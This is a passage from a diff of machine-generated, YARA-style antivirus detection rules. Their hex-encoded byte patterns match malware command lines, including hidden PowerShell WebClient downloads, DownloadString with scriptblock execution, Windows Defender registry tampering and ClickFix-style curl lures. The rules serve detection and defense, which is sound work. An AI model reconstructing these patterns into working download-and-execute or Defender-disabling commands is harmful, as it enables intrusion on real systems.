00 2e 00 66 00 75 00 6e 00 64 00 08 00 2e 00 62 00 65 00 74 00 64 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 64 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 64 00 0e 00 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 64 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 64 00 08 00 2e 00 74 00 6f 00 70 00 64 00 } //121 - $a_00_2 = {77 00 6f 00 72 00 6c 00 64 00 64 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 64 00 0e 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 64 00 } //12 - $a_00_3 = {72 00 75 00 6e 00 64 00 08 00 2e 00 77 00 61 00 73 00 64 00 0c 00 2e 00 74 00 6f 00 64 00 61 00 79 00 64 00 0a 00 2e 00 63 00 79 00 6f 00 } //8 - $a_00_5 = {4c } //16343 L - $a_0b_6 = {00 21 23 54 } //19460 ℀吣 - $a_54_7 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 6f 62 66 75 73 2e 42 00 e8 03 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 0c 00 2d } //19525 - $a_00_9 = {20 00 64 00 0e 00 2d 00 77 00 69 00 20 00 68 00 69 00 20 00 64 00 10 00 2d 00 77 00 69 00 6e 00 20 00 68 00 69 00 20 00 64 00 12 00 2d 00 77 00 69 00 6e 00 64 00 20 00 68 00 69 00 20 00 64 00 14 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 20 00 68 00 69 00 20 00 64 00 16 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 } //104 - $a_00_11 = {18 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 68 00 69 00 20 00 64 00 1a 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 20 00 68 00 69 00 20 00 64 00 1c 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 20 00 68 00 69 00 20 00 64 00 1e 00 2d 00 77 00 69 00 6e 00 } //32 - $a_00_12 = {77 00 73 00 74 00 79 00 6c 00 20 00 68 00 69 00 20 00 00 00 d7 3f 01 00 4c 04 4c 04 0c 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 6f 62 66 75 73 2e 46 00 e8 03 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 08 00 2d 00 77 00 20 00 31 00 64 00 0a 00 2d 00 77 00 } //100 - $a_00_13 = {31 00 64 00 0c 00 2d 00 77 00 69 00 6e 00 20 00 31 00 64 00 0e 00 2d 00 77 00 69 00 6e 00 64 00 } //105 - $a_00_14 = {64 00 10 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 20 00 31 00 64 00 12 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 31 00 64 00 14 00 2d 00 77 } //32 - $a_00_16 = {77 00 73 00 20 00 31 00 64 00 16 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 20 00 31 00 64 00 18 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 20 00 31 00 64 00 1a 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 20 00 31 00 30 f8 24 00 74 00 72 00 61 00 63 00 65 00 72 00 74 00 20 } //100 - $a_00_18 = {77 00 20 00 31 00 30 00 30 00 30 00 00 00 d7 40 01 00 0a 00 0a 00 0e 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f } //32 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_2 & 1)*12+(#a_00_3 & 1)*8+(#a_00_5 & 1)*16343+(#a_0b_6 & 1)*19460+(#a_54_7 & 1)*19525+(#a_00_9 & 1)*104+(#a_00_11 & 1)*32+(#a_00_12 & 1)*100+(#a_00_13 & 1)*105+(#a_00_14 & 1)*32+(#a_00_16 & 1)*100+(#a_00_18 & 1)*32) >=110 - -} -rule _InfrastructureShared_26500{ +rule _InfrastructureShared_28187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0b 00 21 " @@ -346529,7 +368423,7 @@ rule _InfrastructureShared_26500{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32+(#a_00_2 & 1)*32+(#a_00_3 & 1)*110+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100) >=1100 } -rule _InfrastructureShared_26501{ +rule _InfrastructureShared_28188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0c 00 21 " @@ -346549,7 +368443,7 @@ rule _InfrastructureShared_26501{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*-2000+(#a_40_11 & 1)*0) >=1100 } -rule _InfrastructureShared_26502{ +rule _InfrastructureShared_28189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0e 00 21 " @@ -346558,17 +368452,31 @@ rule _InfrastructureShared_26502{ $a_00_1 = {38 00 39 00 2e 00 65 00 78 00 65 00 0a 00 10 00 62 00 6c 00 75 00 65 00 6b 00 65 00 65 00 70 00 0a 00 1a 00 63 00 76 00 65 00 2d 00 32 00 30 00 31 00 39 } //51 $a_00_3 = {38 00 0a 00 0e 00 72 00 64 00 70 00 5f 00 65 00 78 00 70 00 0a 00 0e 00 72 00 64 00 70 00 5f 00 70 00 6f 00 63 00 0a 00 0e 00 70 00 6f 00 63 00 } //55 $a_00_4 = {64 00 70 00 0a 00 24 00 2d 00 77 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 37 00 5f 00 32 00 30 00 30 00 38 00 52 00 32 00 0a 00 10 00 20 00 2d 00 70 00 20 00 33 00 33 00 38 00 39 00 03 00 08 00 20 00 2d 00 74 00 20 00 02 00 08 00 20 00 2d 00 77 00 20 00 03 00 08 00 20 00 2d 00 70 00 20 00 04 00 0a 00 20 00 33 00 33 00 38 00 39 00 } //95 - $a_43_5 = {00 0b 00 0b 00 05 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 44 41 56 54 61 6d 70 65 72 2e 42 00 0a 00 20 00 53 00 65 00 74 00 2d 00 49 00 74 00 65 00 6d 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 0a 00 20 00 4e 00 65 00 77 00 2d 00 49 00 74 00 65 00 6d 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 0a 00 11 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 90 00 01 00 52 00 48 00 4b 00 4c 00 4d 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 } //0 - $a_00_8 = {4d 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 } //75 M\Software\Policies\Microsoft\Windows - $a_00_9 = {66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 00 00 d7 47 01 00 0f 00 0f 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 56 62 73 2e 44 41 21 4d 54 42 00 01 00 28 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 } //68 - $a_00_10 = {01 00 22 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 01 00 26 00 73 00 65 00 6c 00 65 00 63 00 74 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 2d 00 6c 00 61 00 73 00 74 00 31 00 01 00 52 00 73 00 79 00 73 00 74 00 } //50 - $a_00_11 = {2e 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 6e 00 69 00 63 00 6f 00 64 00 65 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 0a 00 3a 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 } //101 - $a_00_13 = {72 00 69 00 6e 00 67 00 28 00 24 00 5f 00 01 00 08 00 7c 00 69 00 65 00 78 00 00 00 d7 47 01 00 24 00 24 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 49 21 4d 54 42 00 05 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 1e 00 2f 00 43 00 20 00 74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 } //115 + $a_43_5 = {00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 53 63 72 69 70 74 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 42 42 21 64 68 61 00 01 00 2c 01 55 00 73 00 65 00 72 00 49 00 6e 00 69 00 74 00 4d 00 70 00 72 00 4c 00 6f 00 67 00 6f 00 6e 00 53 00 63 00 72 00 69 00 70 00 74 00 01 00 26 01 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 01 00 3e 01 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 1c } //0 + $a_00_7 = {6b 00 65 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 01 00 2a 01 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 01 00 1c 01 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 00 00 d7 43 01 00 0b 00 0b 00 05 00 21 } //118 + $a_44_8 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 44 41 56 54 61 6d 70 65 72 2e 42 00 0a 00 20 00 53 00 65 00 74 00 2d 00 49 00 74 00 65 00 6d 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 0a 00 20 00 4e 00 65 00 77 00 2d 00 49 00 74 } //17187 + $a_00_10 = {6f 00 70 00 65 00 72 00 74 00 79 00 0a 00 11 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 90 00 01 00 52 00 48 00 4b 00 4c 00 4d 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 } //80 + $a_00_12 = {48 00 4b 00 4c 00 4d 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 } //1 HKLM\Software\Policies\Microsoft\Windows Defender\ + $a_45_13 = {00 6e 00 6e 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 50 21 4d 54 42 00 64 00 2d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 06 2d 00 63 00 90 02 0f 70 00 69 00 6e 00 67 00 90 02 50 23 00 90 00 64 00 2d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 06 2d 00 63 00 90 02 0f 63 00 61 00 6c 00 63 00 90 02 50 23 00 90 00 0a 00 15 02 63 00 3a 00 5c 00 90 02 50 2e 00 64 00 6f 00 63 00 78 00 90 00 0a 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 70 00 64 00 66 00 90 00 0a 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 00 0a 00 20 00 6f } //0 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*51+(#a_00_3 & 1)*55+(#a_00_4 & 1)*95+(#a_43_5 & 1)*0+(#a_00_8 & 1)*75+(#a_00_9 & 1)*68+(#a_00_10 & 1)*50+(#a_00_11 & 1)*101+(#a_00_13 & 1)*115) >=10 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*51+(#a_00_3 & 1)*55+(#a_00_4 & 1)*95+(#a_43_5 & 1)*0+(#a_00_7 & 1)*118+(#a_44_8 & 1)*17187+(#a_00_10 & 1)*80+(#a_00_12 & 1)*1+(#a_45_13 & 1)*0) >=10 } -rule _InfrastructureShared_26503{ +rule _InfrastructureShared_28190{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 53 63 72 69 70 74 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 42 42 21 64 68 61 00 01 00 2c 01 55 00 73 00 65 00 72 00 49 00 6e 00 69 00 74 00 4d 00 70 00 72 00 4c 00 6f 00 67 00 6f } //21283 + $a_00_2 = {69 00 70 00 74 00 01 00 26 01 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 01 00 3e 01 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //99 + $a_01_3 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 Invoke-Command + $a_01_4 = {5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 } //1 [scriptblock]::Create + $a_01_5 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 DownloadString + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} +rule _InfrastructureShared_28191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -346580,7 +368488,21 @@ rule _InfrastructureShared_26503{ ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*80+(#a_00_4 & 1)*1) >=11 } -rule _InfrastructureShared_26504{ +rule _InfrastructureShared_28192{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 50 21 4d 54 42 00 64 00 2d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 06 2d 00 63 00 90 02 0f 70 00 69 00 6e 00 67 00 90 02 50 23 00 90 } //21283 + $a_00_2 = {77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 06 2d 00 63 00 90 02 0f 63 00 61 00 6c 00 63 00 90 02 50 23 00 90 00 0a 00 15 02 63 00 3a 00 5c 00 90 02 50 2e 00 64 00 6f 00 63 00 78 00 90 00 0a 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 70 00 64 00 66 00 90 00 0a 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 } //112 + $a_00_4 = {70 00 20 00 76 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 0a 00 2e 00 76 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6f 00 72 00 20 00 52 00 61 00 79 00 20 00 49 00 44 00 0a 00 18 00 79 00 65 00 72 00 20 00 76 00 65 00 72 00 69 00 66 00 69 00 65 00 64 00 00 00 d7 47 01 00 0f 00 0f 00 } //111 + $a_23_5 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 56 62 73 2e 44 41 21 4d 54 42 00 01 } //6 + $a_00_7 = {77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 01 00 22 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 01 00 26 00 73 00 65 00 6c 00 65 00 63 00 74 00 2d 00 6f 00 } //58 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112+(#a_00_4 & 1)*111+(#a_23_5 & 1)*6+(#a_00_7 & 1)*58) >=110 + +} +rule _InfrastructureShared_28193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -346593,7 +368515,7 @@ rule _InfrastructureShared_26504{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*117+(#a_00_4 & 1)*1) >=15 } -rule _InfrastructureShared_26505{ +rule _InfrastructureShared_28194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,24 00 24 00 0a 00 21 " @@ -346611,7 +368533,7 @@ rule _InfrastructureShared_26505{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1) >=36 } -rule _InfrastructureShared_26506{ +rule _InfrastructureShared_28195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -346622,7 +368544,7 @@ rule _InfrastructureShared_26506{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*104) >=2 } -rule _InfrastructureShared_26507{ +rule _InfrastructureShared_28196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " @@ -346634,7 +368556,35 @@ rule _InfrastructureShared_26507{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_65_5 & 1)*656) >=1 } -rule _InfrastructureShared_26508{ +rule _InfrastructureShared_28197{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 59 21 4d 54 42 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 9c ff 1a 00 67 00 69 00 74 00 2e 00 74 00 73 00 73 00 2e 00 63 00 } //21283 + $a_00_1 = {75 00 64 00 9c ff 32 00 63 00 64 00 2e 00 64 00 61 00 6c 00 2e 00 61 00 70 00 70 00 2e 00 63 00 69 00 72 00 72 00 75 00 73 00 2e 00 69 00 62 00 6d 00 2e 00 63 00 6f 00 6d 00 9c ff 26 00 63 00 6f 00 76 00 65 00 6f 00 2d 00 61 00 73 00 73 00 31 00 2e 00 69 00 74 00 6d 00 6d 00 61 00 2e 00 66 00 72 00 9c ff 28 00 6e 00 65 00 78 00 75 } //108 + $a_00_3 = {65 00 6d 00 69 00 65 00 72 00 69 00 6e 00 63 00 2e 00 63 00 6f 00 6d 00 9c ff 44 00 61 00 70 00 69 00 2e 00 63 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 6c 00 69 00 65 00 6e 00 74 00 2f 00 76 00 34 00 2f 00 7a 00 6f 00 6e 00 65 00 73 00 9c ff 14 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 } //112 + $a_00_4 = {79 00 00 00 d7 51 01 00 01 00 01 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 64 67 79 57 61 73 70 2e 4b 21 64 68 61 00 01 00 34 02 2f 00 75 00 73 00 65 00 72 00 3a 00 90 02 80 2f 00 50 00 61 00 73 00 73 00 3a 00 90 02 80 2f 00 63 00 6c 00 69 00 65 00 6e 00 74 00 69 00 64 00 3a 00 } //116 + $a_00_5 = {aa } //144 + $a_00_7 = {72 00 61 00 67 00 65 00 6e 00 74 00 3a 00 22 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 4f 00 66 00 66 00 69 00 63 00 65 00 2f 00 31 00 36 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 31 00 30 00 2e 00 30 00 3b 00 20 00 4d 00 69 00 63 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108+(#a_00_3 & 1)*112+(#a_00_4 & 1)*116+(#a_00_5 & 1)*144+(#a_00_7 & 1)*115) >=2 + +} +rule _InfrastructureShared_28198{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 64 67 79 57 61 73 70 2e 4b 21 64 68 61 00 01 00 34 02 2f 00 75 00 73 00 65 00 72 00 3a 00 90 02 80 2f 00 50 00 61 00 73 00 73 00 3a 00 90 02 80 2f 00 63 00 6c 00 69 00 } //21539 + $a_00_1 = {74 00 69 00 64 00 3a 00 90 00 01 00 aa 00 2f 00 75 00 73 00 65 00 72 00 61 00 67 00 65 00 6e 00 74 00 3a 00 22 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 4f 00 66 00 66 00 69 00 63 00 65 00 2f 00 31 00 36 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 31 00 30 00 } //101 + $a_00_2 = {3b 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 4f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 20 00 31 00 36 00 2e 00 30 00 } //46 ; Microsoft Outlook 16.0 + $a_00_3 = {32 00 36 00 36 00 3b 00 20 00 50 00 72 00 6f 00 29 00 01 00 1a 00 2f 00 53 00 6b 00 69 00 70 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 3a 00 01 00 20 00 } //46 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*46+(#a_00_3 & 1)*46) >=1 + +} +rule _InfrastructureShared_28199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 06 00 21 " @@ -346647,7 +368597,7 @@ rule _InfrastructureShared_26508{ ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*116+(#a_00_4 & 1)*97+(#a_53_5 & 1)*0) >=22 } -rule _InfrastructureShared_26509{ +rule _InfrastructureShared_28200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -346662,7 +368612,7 @@ rule _InfrastructureShared_26509{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_3 & 1)*102+(#a_00_4 & 1)*101+(#a_57_5 & 1)*28257+(#a_00_6 & 1)*105) >=15 } -rule _InfrastructureShared_26510{ +rule _InfrastructureShared_28201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0b 00 21 " @@ -346681,7 +368631,7 @@ rule _InfrastructureShared_26510{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*32+(#a_00_3 & 1)*32+(#a_00_4 & 1)*100+(#a_72_5 & 1)*27759+(#a_00_6 & 1)*112+(#a_00_7 & 1)*77+(#a_77_8 & 1)*20538+(#a_00_10 & 1)*101) >=1100 } -rule _InfrastructureShared_26511{ +rule _InfrastructureShared_28202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -346692,7 +368642,7 @@ rule _InfrastructureShared_26511{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_26512{ +rule _InfrastructureShared_28203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2b 00 2b 00 07 00 21 " @@ -346701,35 +368651,93 @@ rule _InfrastructureShared_26512{ $a_00_1 = {47 00 45 00 33 00 0a 00 20 00 41 00 73 00 73 00 45 00 4d 00 62 00 4c 00 79 00 2e 00 47 00 65 00 54 00 54 00 79 00 50 00 65 00 01 00 22 } //82 $a_00_3 = {65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 01 00 32 00 63 00 61 00 63 00 68 00 65 00 64 00 47 00 72 00 6f 00 75 00 70 00 50 00 6f 00 6c 00 69 00 63 00 79 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 0a 00 1e 00 24 00 47 00 50 00 43 00 5b 00 27 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 27 00 2b 00 01 00 } //115 $a_00_4 = {6f 00 63 00 6b 00 4c 00 6f 00 67 00 67 00 69 00 6e 00 67 00 0a 00 38 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 49 00 6e 00 76 00 6f 00 63 00 61 00 74 00 69 00 6f 00 6e 00 4c 00 6f 00 67 00 67 00 69 00 6e 00 67 00 00 00 d7 58 01 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e } //22 - $a_64_5 = {72 3a 57 69 6e 33 32 2f 50 53 57 65 62 74 6f 6f 73 2e 42 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 27 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 28 00 [0-01] 68 00 74 00 74 00 70 00 } //28524 + $a_64_5 = {72 3a 57 69 6e 33 32 2f 50 53 57 65 62 74 6f 6f 73 2e 42 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 27 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 28 00 [0-05] 68 00 74 00 74 00 70 00 } //28524 $a_02_6 = {65 00 78 00 70 00 61 00 6e 00 64 00 2d 00 61 00 72 00 63 00 68 00 69 00 76 00 65 00 [0-20] 2d 00 70 00 61 00 74 00 68 00 [0-20] 43 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 } //1 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*82+(#a_00_3 & 1)*115+(#a_00_4 & 1)*22+(#a_64_5 & 1)*28524+(#a_02_6 & 1)*1) >=43 } -rule _InfrastructureShared_26513{ +rule _InfrastructureShared_28204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 50 53 57 65 62 74 6f 6f 73 2e 